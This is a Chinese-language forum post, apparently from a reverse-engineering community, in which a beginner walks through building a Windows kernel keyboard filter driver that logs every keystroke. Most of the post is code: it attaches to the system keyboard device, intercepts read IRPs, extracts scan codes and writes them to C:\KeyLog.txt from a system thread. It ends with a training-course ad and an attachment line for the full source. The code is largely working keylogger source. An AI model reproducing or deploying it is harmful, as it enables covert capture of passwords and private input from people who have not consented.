大家好,前一段时间看《Windows驱动开发技术详解》,现在总算是看的差不多了,所以就选了个比较简单的东西来做下。呵呵,第一次写大家别见笑哈(话说我这是边参考边写的,自己单独写对我来说太难了,对我来说主要是练出写的感觉,以后估计就会好多了,大家别见怪哈。。。)
总体思路就是在系统的键盘设备上(也就是\Device\KeyboardClass0上)挂接一个我们自己创建的设备对象,这样当我们击键的时候,由于IRP是自上向下的,所以我们创建的设备首先会截到IRP_MJ_READ,我们取这个IRP中相关的按键信息,然后根据makecode用switch判断击了哪个键,然后我们记录进一个Buffer,最后用ZwWriteFile写进刚刚创建过的文件。(这里有些资料上有更好的办法,有一个是用ConvertScanCodeToKeyCode,但是我搞不定,所以就用了一个比较笨的办法。。。 )
1.DriverEntry函数
这个函数主要做一些初始化的工作,ZwCreateFile也是在这个函数中实现的。
(1)设置派遣例程
for(int i=0;i<=IRP_MJ_MAXIMUM_FUNCTION;i++)
{
DriverObject->MajorFunction[i]=Dispatch;
}
DriverObject->MajorFunction[IRP_MJ_CREATE]=
DriverObject->MajorFunction[IRP_MJ_CLOSE]=CreateClose;
DriverObject->MajorFunction[IRP_MJ_READ]=Dispatched;
(2)驱动程序attach到系统的键盘设备上。
targetdevice=IoAttachDeviceToDeviceStack(mydevice,device);
(3) 创建一个线程,用于记录击键行为。
InitThreadKeyLogger(pDriverObject);
(4)ZwCreateFile部分。
UNICODE_STRING textname;
RtlInitUnicodeString(&textname,L"\\??\\C:\\KeyLog.txt");
OBJECT_ATTRIBUTES ObjectAttributes;
InitializeObjectAttributes (&ObjectAttributes,&textname,OBJ_CASE_INSENSITIVE,NULL,NULL);
IO_STATUS_BLOCK StatusBlock;
status=ZwCreateFile(&pDevExt->hLogFile,GENERIC_WRITE,&ObjectAttributes,&StatusBlock,NULL,FILE_ATTRIBUTE_NORMAL,0,FILE_OPEN_IF,FILE_SYNCHRONOUS_IO_NONALERT,NULL,0);
2.派遣例程
派遣函数主要就两个,一个是不处理直接传给下层的,一个是处理截获的
(1)不处理Dispatch:
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(targetdevice,Irp);
(2)处理Dispatched:
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(pIrp,OnReadCompletion,deviceObject,TRUE,TRUE,TRUE);
return IoCallDriver(targetdevice,Irp);
3.在Dispatched里设置了个完成例程,但按键完成后,IRP返回STATUS_SUCCESS。这时我们就可以获取我们想要的按键信息。
if(Irp->IoStatus.Status==STATUS_SUCCESS) //检查IRP的状态,如果是STATUS_SUCCESS则说明IRP已经记录了击键数据。
{
key=(PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
numKeys=Irp->IoStatus.Information/sizeof(PKEYBOARD_INPUT_DATA);
for(int i=0;i<numKeys;i++) //用for循环从每个成员中获取击键动作
{
if(key->Flags==KEY_MAKE && key->MakeCode)
{
KdPrint(("Scan MakeCode:%x\n",key->MakeCode));
//分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入全局链表中。
KEY_DATA* kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
kData->KeyData=key->MakeCode;//把扫描码插进链表以写入文件.
kData->KeyFlags=key->Flags;
KdPrint(("Add Irp to the queue."));
ExInterlockedInsertTailList(&pdx->List,&kData->ListEntry,&pdx->Lock);
//Semaphore
KeReleaseSemaphore(&pdx->Semaphore,0,1,FALSE);//信号灯加1.
}
}
}
这样写日志线程就可以工作了。
4.滤驱动attach到系统键盘设备上
(1)创建过滤设备
status=IoCreateDevice(DriverObject,sizeof(DEVICE_EXTENSION),&DeviceName1,device->DeviceType,device->Characteristics,TRUE,&mydevice);
PDEVICE_EXTENSION pDevExt=(PDEVICE_EXTENSION)mydevice->DeviceExtension;
pDevExt->pDevice=mydevice;
pDevExt->ustrDeviceName=DeviceName1;
pDevExt->uIrpPendingCount=0;
(2)将过滤驱动attach到底层键盘设备上
targetdevice=IoAttachDeviceToDeviceStack(mydevice,device);
mydevice->DeviceType=targetdevice->DeviceType;
mydevice->Characteristics=targetdevice->Characteristics;
mydevice->Flags &= ~DO_DEVICE_INITIALIZING;
mydevice->Flags |= (targetdevice->Flags &(DO_DIRECT_IO | DO_BUFFERED_IO));
这样过滤驱动的挂载就完成了,下面就可以过滤所有的键盘操作了。接下来是创建一个用于写日志的线程。
5. 创建线程,执行写日志操作
调用PsCreateSystemThread创建线程、根据线程句柄获得线程对象。
NTSTATUS Status=PsCreateSystemThread(&hThread,(ACCESS_MASK)0L,NULL,NULL,NULL,ThreadKeyLogger,pDevExt);
status=ObReferenceObjectByHandle(hThread,THREAD_ALL_ACCESS,NULL,KernelMode,(PVOID *)&pDevExt->pThreadObj,NULL);
6. ThreadKeyLogger系统线程
while(b)//good idea. use semaphore and KeWaitForSingleObject do the IRP job.
{
KeWaitForSingleObject(&pDevExt->Semaphore,Executive,KernelMode,FALSE,NULL);
pListEntry=ExInterlockedRemoveHeadList(&pDevExt->List,&pDevExt->Lock);
if(pDevExt->bThreadTerminate)
{
PsTerminateSystemThread(STATUS_SUCCESS);
}
kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
//字符串乱码问题, 初始化的问题
ANSI_STRING keys;
switch(kData->KeyData)
{
case 0x1:
RtlInitAnsiString(&keys,"ESC");
KdPrint(("ESC 键被按下"));
break;
............
IO_STATUS_BLOCK io_status;
NTSTATUS status=ZwWriteFile(pDevExt->hLogFile,NULL,NULL,NULL,&io_status,keys.Buffer,keys.Length,NULL,NULL);
if(status!=STATUS_SUCCESS)
{
KdPrint(("Writing..."));
}
else
{
KdPrint(("Scan code '%s' successfully written to file.\n",keys.Buffer));
}
}}
6.卸载例程
IoDetachDevice(pDevObj);
pDevExt->bAttached=FALSE;
pDevExt->bThreadTerminate=TRUE;
PDEVICE_EXTENSION pDevExt1=(PDEVICE_EXTENSION)mydevice->DeviceExtension;
LARGE_INTEGER timeout;
timeout.QuadPart=10000000;
KeInitializeTimer(&pDevExt1->kTimer);
while(pDevExt1->uIrpPendingCount>0)
{
KeSetTimer(&pDevExt1->kTimer,timeout,NULL);
KeWaitForSingleObject(&pDevExt1->kTimer,Executive,KernelMode,FALSE,NULL);
}
ULONG ul=KeReleaseSemaphore(&pDevExt1->Semaphore,0,1,TRUE);
status=KeWaitForSingleObject(&pDevExt1->pThreadObj,Executive,KernelMode,FALSE,NULL);
status=KeCancelTimer(&pDevExt1->kTimer);
NTSTATUS status=ZwClose(pDevExt1->hLogFile);//notice whose device...
status=IoDeleteSymbolicLink(&pDevExt1->ustrSymLinkName);
IoDeleteDevice(mydevice); 至此,驱动部分就已经完成了。下面是一些调试方面遇到的问题,在这里给大家看下,大家如果以后遇到可以有个借鉴哈。当然只是给菜鸟了,呵呵,牛人就直接飘过哈。
(1)STRING或ANSI_STRING或UNICODE_STRING的结构,它是由ntdef.h头文件定义的。摘抄如下:
typedef struct _STRING {
USHORT Length;
USHORT MaximumLength;
#ifdef MIDL_PASS
[size_is(MaximumLength), length_is(Length) ]
#endif // MIDL_PASS
PCHAR Buffer;
} STRING;
因此使用缓冲区的时候,不能直接用STRING等,而应是string.Buffer,同时注意Buffer已经是指针类型,因此前面不可再加&.否则ZwWriteFile后文件显示的是乱码。
(2)读取键盘输入的字符,应使用链表,同时用SpinLock,和Semaphore实现同步。以免发生异常。
(3)系统线程中while(true)的实现需要配合KeWaitForSingleObject,否则将会导致系统死机。KeWaitForSingleObject等待Semaphore,而信号灯Semaphore则随着键盘的输入释放,而这个线程在卸载例程的时候用PsTerminateSystemThread结束掉,实现了键盘输入,线程恢复,记录,系统再次休眠等待键盘的再次输入。 这是我第一次写驱动,写的不好或哪里有错的请大家指点。谢谢了。 这里是这个程序的源代码,VS2008+DDKWizard编译通过。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
上传的附件: